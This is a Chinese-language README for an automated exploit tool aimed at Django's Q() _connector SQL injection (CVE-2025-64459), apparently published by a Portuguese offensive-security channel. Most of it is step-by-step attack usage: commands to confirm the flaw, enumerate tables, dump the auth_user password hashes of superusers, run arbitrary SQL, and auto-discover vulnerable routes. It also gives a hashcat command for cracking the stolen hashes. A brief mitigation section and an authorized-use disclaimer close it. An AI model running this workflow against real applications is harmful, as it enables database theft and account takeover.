针对 Django ORM 的自动化 SQL 注入利用
Q-object _connector · CVE-2025-64459
🎥 RedTeam Brasil 频道 — 实战葡萄牙语攻击安全教程。
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ RedTeam Brasil 频道
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ 仅授权使用
Django 的 ORM 通过 Q() 对象构建过滤器。构造函数
Q(*args, _connector=None, _negated=False, **kwargs) 接受一个特殊的 kwargs
_connector — 连接 WHERE 内条件的字符串 (AND/OR)。
在受影响版本中,该值未经过 sanitize 并原样拼接到 SQL 中。
当应用程序通过字典展开将用户输入直接传递给 Q() / .filter() /
.exclude() / .get() 时——经典的反模式:
# ❌ 易受攻击
posts = Post.objects.filter(Q(**request.GET)) # 或 .filter(**request.GET)
……攻击者可以控制 _connector 并在条件之间注入任意 SQL
(适用于 SQLite、PostgreSQL、MySQL 等)。
| 项目 | 详情 |
|---|---|
| CVE | CVE-2025-64459 |
| 组件 | django.db.models — Q() / QuerySet (_connector 和列别名) |
| 受影响版本 | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| 修复 | 升级到 4.2.26 / 5.1.14 / 5.2.8(或更高) |
| 影响 | 任意读取数据库(UNION/盲注)→ 转储凭据并提升攻击链 |
当
DEBUG = True时,利用变得容易:Django 的报错页面会返回拼接后的 SQL、基表和列数量——这正是该工具自行构建 UNION 所需的信息。
通用(不限于特定目标)且自动化的利用工具:
--auto):爬取首页 + robots/sitemap + 内置字典,通过 Django 的 FieldError 测试每个路由。DEBUG=True(通过 FieldError)。--proxy 使用 Burp/mitmproxy)和 HTTPS 目标。git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) 确认漏洞
python3 rtb_connector_sqli.py -u http://TARGET check
# 2) 列出表
python3 rtb_connector_sqli.py -u http://TARGET tables
# 3) 列出某个表的列
python3 rtb_connector_sqli.py -u http://TARGET columns auth_user
# 4) 转储(指定列或全部)
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --where "is_superuser=1"
# 5) 快捷查看 Django 用户
python3 rtb_connector_sqli.py -u http://TARGET users
# 6) 任意 SQL 表达式
python3 rtb_connector_sqli.py -u http://TARGET query "sqlite_version()"
# 7) 交互模式(菜单:表 → 列 → 转储)
python3 rtb_connector_sqli.py -u http://TARGET shell
# 8) 不知道路由?让它自己发现
python3 rtb_connector_sqli.py -u http://TARGET auto # 仅发现并列出
python3 rtb_connector_sqli.py -u http://TARGET --auto shell # 发现并立即利用
使用
--auto(或子命令auto)会爬取首页 +robots.txt/sitemap.xml并运行内置字典(英文 + 葡萄牙语 + API 路由),标记返回 DjangoFieldError的路由。如果你传入了错误的--path,它会自动进入发现模式。
| 标志 | 用途 |
|---|---|
--path /buscar | 易受攻击的端点(默认 /list) |
--auto | 自动发现端点(爬取 + 字典) |
--wordlist rotas.txt | 用于发现的额外路由(每行一个) |
--base app_model | 手动指定基表(自动检测失败时) |
--proxy http://127.0.0.1:8080 | 将所有流量发送到 Burp / mitmproxy |
# 通过 Burp 发送
python3 rtb_connector_sqli.py -u http://TARGET --proxy http://127.0.0.1:8080 users
# 或通过环境变量(无需标志)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://TARGET shell
[*] 目标: http://TARGET/list
[+] 模型字段 (6): author, content, created_at, id, status, title
[+] 在 `_connector` 确认 SQLi (CVE-2025-64459). near "'RTB'": syntax error
[+] 基表: <app>_<model> · SELECT 列数: 6
[+] 回显列 (读取): 位置 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
获得超级用户的哈希后:
hashcat -m 10000 hash.txt rockyou.txt # Django 使用 pbkdf2_sha256
request.GET 直接传递给 Q()/.filter()。使用白名单:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False 在生产环境(切勿泄露 SQL/表/设置)。本工具仅用于教育和授权测试(实验室、CTF、有范围的漏洞赏金、签约渗透测试)。在未获明确授权的情况下使用针对系统是犯罪——你需独自承担责任。
由 RedTeam Brasil 制作 · 喜欢吗?点赞并订阅频道。